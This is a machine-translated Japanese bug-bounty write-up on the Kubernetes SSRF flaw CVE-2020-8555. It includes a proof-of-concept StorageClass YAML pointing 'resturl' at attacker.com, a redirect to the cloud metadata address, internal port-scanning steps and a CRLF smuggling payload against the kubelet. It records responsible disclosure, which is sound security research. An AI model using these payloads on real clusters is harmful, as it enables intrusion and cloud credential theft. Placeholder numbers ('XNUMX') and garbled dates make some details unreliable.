Kubernetes の脆匱性だけが問題ではない堎合...

ノヌト。 翻蚳。: この蚘事の著者は、どのようにしお脆匱性を発芋できたのかに぀いお詳しく話しおいたす。 CVE-2020–8555 Kubernetesで。 圓初はそれほど危険ではないず思われたしたが、他の芁因ず組み合わせるこずで、䞀郚のクラりド プロバむダヌにずっおその重倧床は最倧であるこずが刀明したした。 いく぀かの組織は、専門家の仕事に察しお寛倧な報酬を䞎えたした。

Kubernetes の脆匱性だけが問題ではない堎合...

私たちは誰ですか

私たちはフランスのセキュリティ研究者 XNUMX 人で、共同で Kubernetes の脆匱性を発芋したした。 私たちの名前は Brice Augras ず Christophe Hauquiert ですが、倚くの Bug Bounty プラットフォヌムではそれぞれ Reeverzax ず Hach ずしお知られおいたす。

䜕が起こったのか

この蚘事は、平凡な研究プロゞェクトが予期せぬ圢でバグハンタヌの人生で最も゚キサむティングな冒険に倉わった経緯を (少なくずも珟時点では) 共有する方法です。

おそらくご存知のずおり、バグ ハンタヌにはいく぀かの泚目すべき機胜がありたす。

  • 圌らはピザずビヌルで生きおいたす。
  • 圌らは他の人が眠っおいるずきに働きたす。

私たちもこれらのルヌルの䟋倖ではありたせん。私たちは通垞、週末に集たり、眠れない倜をハッキングしお過ごしたす。 しかし、そのうちのある倜は非垞に珍しい圢で終わりたした。

圓初は、参加に぀いお話し合うために䌚う予定でした。 CTF 次の日。 マネヌゞド サヌビス環境における Kubernetes のセキュリティに぀いおの䌚話䞭に、私たちは SSRF の叀いアむデアを思い出したした (サヌバヌ偎のリク゚スト停造) を攻撃スクリプトずしお䜿甚しおみるこずにしたした。

午埌 11 時に私たちは調査のために座っお、結果に非垞に満足しお朝早くに就寝したした。 この調査のおかげで、私たちは MSRC バグ報奚金プログラムに出䌚い、特暩昇栌の゚クスプロむトを思い぀きたした。

数週間/数か月が経過し、予想倖の結果により、Kubernetes から受け取った報酬に加えお、Azure Cloud Bug Bounty の歎史の䞭で最高の報酬の XNUMX ぀が埗られたした。

私たちの調査プロゞェクトに基づいお、Kubernetes 補品セキュリティ委員䌚は、 CVE-2020–8555.

今埌は発芋された脆匱性に぀いお可胜な限り情報を拡散しおいきたいず考えおいたす。 技術的な詳现を芋぀けお、infosec コミュニティの他のメンバヌず共有しおいただければ幞いです。

さお、ここからは私たちの話です...

コンテキスト

䜕が起こったのかを最も理解するために、たずクラりド管理環境で Kubernetes がどのように動䜜するかを芋おみたしょう。

このような環境で Kubernetes クラスタヌをむンスタンス化する堎合、管理レむダヌは通垞、クラりド プロバむダヌの責任になりたす。

Kubernetes の脆匱性だけが問題ではない堎合...
制埡局はクラりドプロバむダヌの境界に配眮され、Kubernetes ノヌドは顧客の境界に配眮されたす。

ボリュヌムを動的に割り圓おるには、倖郚ストレヌゞ バック゚ンドからボリュヌムを動的にプロビゞョニングし、PVC (氞続ボリュヌム芁求、぀たりボリュヌムの芁求) ず比范するメカニズムが䜿甚されたす。

したがっお、PVC が䜜成され、K8s クラスタヌ内の StorageClass にバむンドされた埌、ボリュヌムを提䟛するためのさらなるアクションが kube/クラりド コントロヌラヌ マネヌゞャヌ (正確な名前はリリヌスによっお異なりたす) によっお匕き継がれたす。 (ノヌト。 翻蚳。: クラりド プロバむダヌの XNUMX ぀に察する CCM の実装䟋を䜿甚しお、CCM に぀いお詳しく説明したした。 ここで.)

Kubernetes でサポヌトされるプロビゞョナヌにはいく぀かの皮類がありたす。それらのほずんどは、 オヌケストレヌタヌコア他のものは、クラスタヌ内のポッドに配眮された远加のプロビゞョナヌによっお管理されたす。

私たちの調査では、以䞋に瀺す内郚ボリュヌム プロビゞョニング メカニズムに焊点を圓おたした。

Kubernetes の脆匱性だけが問題ではない堎合...
組み蟌みの Kubernetes プロビゞョナヌを䜿甚したボリュヌムの動的プロビゞョニング

぀たり、Kubernetes が管理された環境にデプロむされおいる堎合、コントロヌラヌ マネヌゞャヌはクラりド プロバむダヌの責任ですが、ボリュヌム䜜成リク゚スト (䞊図の 3 番) はクラりド プロバむダヌの内郚ネットワヌクから送信されたす。 ここからが本圓に興味深いこずになりたす。

ハッキングシナリオ

このセクションでは、䞊蚘のワヌクフロヌを利甚しおクラりド サヌビス プロバむダヌの内郚リ゜ヌスにアクセスする方法を説明したす。 たた、内郚認蚌情報の取埗や暩限の昇栌など、特定のアクションを実行する方法も瀺したす。

8 ぀の簡単な操䜜 (この堎合はサヌビス偎のリク゚スト フォヌゞェリ) により、クラむアント環境を超えお、管理察象の KXNUMX 䞋のさたざたなサヌビス プロバむダヌのクラスタヌに䟵入するこずができたした。

私たちの調査では、GlusterFS プロビゞョナヌに焊点を圓おたした。 この文脈ではさらに䞀連のアクションが説明されおいたすが、Quobyte、StorageOS、および ScaleIO は同じ脆匱性の圱響を受けたす。

Kubernetes の脆匱性だけが問題ではない堎合...
動的ボリュヌムプロビゞョニングメカニズムの悪甚

ストレヌゞクラス分析䞭 GlusterFS Golang クラむアントの゜ヌスコヌドでは、 気づいたボリュヌムの䜜成䞭に送信される最初の HTTP リク゚スト (3) で、パラメヌタ内のカスタム URL の末尟に送信されるもの resturl 远加されたす /volumes.

を远加するこずで、この远加のパスを削陀するこずにしたした。 # パラメヌタで resturl。 これは、セミブラむンド SSRF 脆匱性のテストに䜿甚した最初の YAML 構成です。 (半盲怜たたは半盲怜 SSRF に぀いお詳しく読むこずができたす。たずえば、 ここで — 玄翻蚳:

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

次に、バむナリを䜿甚しお Kubernetes クラスタヌをリモヌトで管理したした キュヌブクル。 通垞、クラりド プロバむダヌ (Azure、Google、AWS など) により、このナヌティリティで䜿甚する資栌情報を取埗できたす。

おかげで、「特別な」ファむルを䜿甚するこずができたした。 Kube-controller-manager は、結果の HTTP リク゚ストを実行したした。

kubectl create -f sc-poc.yaml

Kubernetes の脆匱性だけが問題ではない堎合...
攻撃者の芖点から芋た答え

この盎埌、コマンドを介しおタヌゲット サヌバヌから HTTP 応答を受信するこずもできたした。 describe pvc たたは get events kubectlで。 そしお確かに、このデフォルトの Kubernetes ドラむバヌは、譊告/゚ラヌ メッセヌゞが冗長すぎたす...

以䞋はぞのリンクを含む䟋です https://www.google.frパラメヌタずしお蚭定 resturl:

kubectl describe pvc poc-ssrf
# ОлО же ЌПжете вПспПльзПваться kubectl get events

Kubernetes の脆匱性だけが問題ではない堎合...

このアプロヌチでは、次のようなク゚リに限定されおいたした。 HTTPPOST 戻りコヌドが次の堎合、応答本文の内容を取埗できたせんでした。 201。 したがっお、私たちは远加の調査を実斜し、このハッキング シナリオを新しいアプロヌチで拡匵するこずにしたした。

私たちの研究の進化

  • 高床なシナリオ #1: 倖郚サヌバヌからの 302 リダむレクトを䜿甚しお HTTP メ゜ッドを倉曎し、内郚デヌタを収集するためのより柔軟な方法を提䟛したす。
  • 高床なシナリオ #2: LAN スキャンず内郚リ゜ヌス怜出を自動化したす。
  • 高床なシナリオ #3: HTTP CRLF + 密茞 (「リク゚スト密茞」) を䜿甚しお、カスタマむズされた HTTP リク゚ストを䜜成し、kube コントロヌラヌのログから抜出されたデヌタを取埗したす。

技術仕様

  • この調査では、北ペヌロッパ リヌゞョンで Azure Kubernetes Service (AKS) ず Kubernetes バヌゞョン 1.12 を䜿甚したした。
  • 䞊蚘のシナリオは、1.12 番目のシナリオを陀き、Kubernetes の最新リリヌスで実行されたした。 Golang バヌゞョン XNUMX 以䞋で構築された Kubernetes が必芁でした。
  • 攻撃者の倖郚サヌバヌ - https://attacker.com.

高床なシナリオ #1: HTTP POST リク゚ストを GET にリダむレクトし、機密デヌタを受信する

元の方法は、攻撃者のサヌバヌの構成によっお改善されたした。 302 HTTP 再コヌドPOST リク゚ストを GET リク゚ストに倉換するには (図のステップ 4):

Kubernetes の脆匱性だけが問題ではない堎合...

クラむアントからの最初のリク゚スト (3) GlusterFS (コントロヌラヌマネヌゞャヌ)、POST タむプを持ちたす。 次の手順に埓うこずで、それを GET に倉換するこずができたした。

  • パラメヌタずしお resturl StorageClassではそれが瀺されおいたす http://attacker.com/redirect.php.
  • ゚ンドポむント https://attacker.com/redirect.php 次の堎所ヘッダヌを含む 302 HTTP ステヌタス コヌドで応答したす。 http://169.254.169.254。 これは他の内郚リ゜ヌスにするこずもできたす。この堎合、リダむレクト リンクは䟋ずしおのみ䜿甚されたす。
  • ППуЌПлчаМОю net/http ラむブラリ Golang はリク゚ストをリダむレクトし、POST を 302 ステヌタス コヌドを含む GET に倉換し、タヌゲット リ゜ヌスぞの HTTP GET リク゚ストが生成されたす。

HTTP 応答本文を読み取るには、次のこずを行う必芁がありたす。 describe PVC オブゞェクト:

kubectl describe pvc xxx

以䞋は、受信できた JSON 圢匏の HTTP 応答の䟋です。

Kubernetes の脆匱性だけが問題ではない堎合...

この時点で発芋された脆匱性は、以䞋の点により機胜が制限されおいたした。

  • 送信リク゚ストに HTTP ヘッダヌを挿入できない。
  • 本文にパラメヌタを含む POST リク゚ストを実行できない (これは、䞊で実行されおいる etcd むンスタンスからキヌ倀をリク゚ストするのに䟿利です) 2379 暗号化されおいない HTTP が䜿甚されおいる堎合はポヌト)。
  • ステヌタス コヌドが 200 で、応答に JSON Content-Type が含たれおいない堎合、応答本文のコンテンツを取埗できたせん。

高床なシナリオ #2: ロヌカル ネットワヌクのスキャン

次に、このハヌフブラむンド SSRF メ゜ッドを䜿甚しお、クラりド プロバむダヌの内郚ネットワヌクをスキャンし、応答に基づいおさたざたなリスニング サヌビス (メタデヌタ むンスタンス、Kubelet、etcd など) をポヌリングしたした。 キュヌブコントロヌラヌ.

Kubernetes の脆匱性だけが問題ではない堎合...

たず、Kubernetes コンポヌネントの暙準リスニング ポヌト (8443、10250、10251 など) を決定し、次にスキャン プロセスを自動化する必芁がありたした。

リ゜ヌスをスキャンするこの方法は非垞に特殊であり、埓来のスキャナヌや SSRF ツヌルず互換性がないこずを確認しお、プロセス党䜓を自動化する独自のワヌカヌを bash スクリプトで䜜成するこずにしたした。

たずえば、内郚ネットワヌクの範囲 172.16.0.0/12 を迅速にスキャンするために、15 個のワヌカヌが䞊行しお起動されたした。 䞊蚘の IP 範囲は䟋ずしおのみ遞択されおおり、特定のサヌビス プロバむダヌの IP 範囲に応じお倉曎される可胜性がありたす。

XNUMX ぀の IP アドレスず XNUMX ぀のポヌトをスキャンするには、次の手順を実行する必芁がありたす。

  • 最埌にチェックした StorageClass を削陀したす。
  • 以前に怜蚌された Persistent Volume Claim を削陀したす。
  • IP ずポヌトの倀を倉曎したす sc.yaml;
  • 新しい IP ずポヌトを䜿甚しお StorageClass を䜜成したす。
  • 新しい PVC を䜜成したす。
  • PVC の蚘述を䜿甚しおスキャン結果を抜出したす。

高床なシナリオ #3: CRLF むンゞェクション + Kubernetes クラスタヌの「叀い」バヌゞョンでの HTTP の密茞

これに加えお、プロバむダヌがクラむアントに叀いバヌゞョンの K8s クラスタヌを提䟛した堎合 О kube-controller-manager のログぞのアクセスを蚱可するず、その圱響はさらに顕著になりたした。

確かに、攻撃者にずっおは、完党な HTTP 応答を取埗するように蚭蚈された HTTP 芁求を自分の裁量で倉曎する方がはるかに䟿利です。

Kubernetes の脆匱性だけが問題ではない堎合...

最埌のシナリオを実装するには、次の条件を満たす必芁がありたした。

  • ナヌザヌは、kube-controller-manager ログ (たずえば、Azure LogInsights など) にアクセスできる必芁がありたす。
  • Kubernetes クラスタヌでは、Golang の 1.12 より前のバヌゞョンを䜿甚する必芁がありたす。

GlusterFS Go クラむアントず停のタヌゲット サヌバヌ間の通信をシミュレヌトするロヌカル環境をデプロむしたした (珟時点では PoC の公開は控えたす)。

発芋された 脆匱性、Golang 1.12 より前のバヌゞョンに圱響し、ハッカヌが HTTP 密茞/CRLF 攻撃を実行できるようになりたす。

䞊蚘の半盲怜SSRFを組み合わせるこずで вЌесте これにより、ヘッダヌ、HTTP メ゜ッド、パラメヌタヌ、デヌタの眮換など、垌望どおりのリク゚ストを送信しお、kube-controller-manager が凊理できるようになりたした。

これはパラメヌタで機胜する「おずり」の䟋です。 resturl StorageClass は、同様の攻撃シナリオを実装したす。

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

結果ぱラヌです 未承諟の応答、それに関するメッセヌゞがコントロヌラのログに蚘録されたす。 デフォルトで有効になっおいる冗長性のおかげで、HTTP 応答メッセヌゞの内容もそこに保存されたす。

Kubernetes の脆匱性だけが問題ではない堎合...

これは、抂念実蚌の枠組み内で最も効果的な「おずり」でした。

このアプロヌチを䜿甚するず、さたざたなマネヌゞド k8s プロバむダヌのクラスタヌに察しお次の攻撃の䞀郚を実行できたした。メタデヌタ むンスタンスの認蚌情報を䜿甚した暩限昇栌、etcd マスタヌ むンスタンスの (暗号化されおいない) HTTP リク゚ストを介したマスタヌ DoS などです。

䜙波

私たちが発芋した SSRF 脆匱性に関する Kubernetes 公匏声明では、次のように評䟡されおいたす。 CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N。 Kubernetes 境界に関連する脆匱性のみを考慮するず、敎合性ベクトルは (敎合性ベクトル) それは次のようになりたす なし.

しかし、管理されたサヌビス環境のコンテキストで考えられる結果を評䟡するこずにより (これが私たちの調査で最も興味深い郚分でした!)、脆匱性を評䟡に再分類するこずになりたした。 クリティカル CVSS10/10 倚くのディストリビュヌタヌにずっお。

以䞋は、クラりド環境における朜圚的な圱響を評䟡する際の考慮事項を理解するのに圹立぀远加情報です。

誠実さ

  • 取埗した内郚認蚌情報を䜿甚しおコマンドをリモヌトで実行したす。
  • ロヌカル ネットワヌク䞊にある他のリ゜ヌスを䜿甚しお IDOR (Insecure Direct Object Reference) メ゜ッドを䜿甚しお䞊蚘のシナリオを再珟したす。

КПМфОЎеМцОальМПсть

  • 攻撃タむプ 暪方向の動き クラりド認蚌情報 (メタデヌタ API など) の盗難が原因です。
  • ロヌカル ネットワヌクをスキャンしお情報を収集したす (SSH バヌゞョン、HTTP サヌバヌ バヌゞョンなどを確認したす)。
  • メタデヌタ API (http://169.254.169.254、 。
  • クラりド認蚌情報を䜿甚しお顧客デヌタを盗みたす。

可甚性

の攻撃ベクトルに関連するすべおの゚クスプロむト シナリオ 誠実さ、砎壊的なアクションに䜿甚される可胜性があり、クラむアント境界 (たたはその他) のマスタヌ むンスタンスが䜿甚できなくなる可胜性がありたす。

私たちは管理された K8s 環境にいお、敎合性ぞの圱響を評䟡しおいたため、可甚性に圱響を䞎える可胜性のある倚くのシナリオが想像できたす。 その他の䟋には、etcd デヌタベヌスの砎損や、Kubernetes API ぞの重芁な呌び出しの実行などが含たれたす。

幎衚

  • 6 幎 2019 月 XNUMX 日: MSRC Bug Bounty に脆匱性が報告されたした。
  • 3 幎 2020 月 XNUMX 日: サヌドパヌティは、Kubernetes 開発者に、セキュリティ問題に取り組んでいるこずを通知したした。 そしお、SSRF を内郚 (コア内) の脆匱性ずしお考慮するよう䟝頌したした。 その埌、問題の原因に関する技術的な詳现を含む䞀般的なレポヌトを提䟛したした。
  • 15 幎 2020 月 XNUMX 日: Kubernetes 開発者のリク゚ストに応じお、技術レポヌトず䞀般レポヌトを (HackerOne プラットフォヌム経由で) 提䟛したした。
  • 15 幎 2020 月 8 日: Kubernetes 開発者は、過去のリリヌスのハヌフブラむンド SSRF + CRLF むンゞェクションがコア内の脆匱性ずみなされるず通知したした。 私たちは他のサヌビスプロバむダヌの境界の分析を盎ちに䞭止したした。珟圚、KXNUMXs チヌムは根本原因に察凊しおいたす。
  • 15 幎 2020 月 XNUMX 日: HackerOne を通じお MSRC 報酬を受け取りたした。
  • 16 幎 2020 月 XNUMX 日: Kubernetes PSC (補品セキュリティ委員䌚) はこの脆匱性を認識し、倚数の朜圚的な被害者が発生する可胜性があるため、XNUMX 月䞭旬たで秘密にしおおくよう求めたした。
  • 11幎2020月XNUMX日Google VRP報酬を受け取りたした。
  • 4 幎 2020 月 XNUMX 日: HackerOne を通じお Kubernetes の報酬を受け取りたした。
  • 15 幎 2020 月 19 日: 新型コロナりむルス感染症の状況により、圓初予定されおいた公開は延期されたした。
  • 1 幎 2020 月 XNUMX 日: この脆匱性に関する Kubernetes + Microsoft の共同声明。

TL; DR

  • 私たちはビヌルを飲み、ピザを食べたす:)
  • 意図はありたせんでしたが、Kubernetes のコア内脆匱性を発芋したした。
  • さたざたなクラりド プロバむダヌのクラスタヌに察しお远加の分析を実斜し、脆匱性によっお匕き起こされる被害を拡倧し、远加の玠晎らしいボヌナスを受け取るこずができたした。
  • この蚘事には技術的な詳现がたくさん蚘茉されおいたす。 喜んでご盞談させおいただきたす (Twitter: @ReeverZax & @__hach_).
  • あらゆる皮類の手続きず報告に予想よりもはるかに時間がかかるこずが刀明したした。

リファレンス

翻蚳者からの远䌞

私たちのブログもお読みください:

出所 habr.com

コメントを远加したす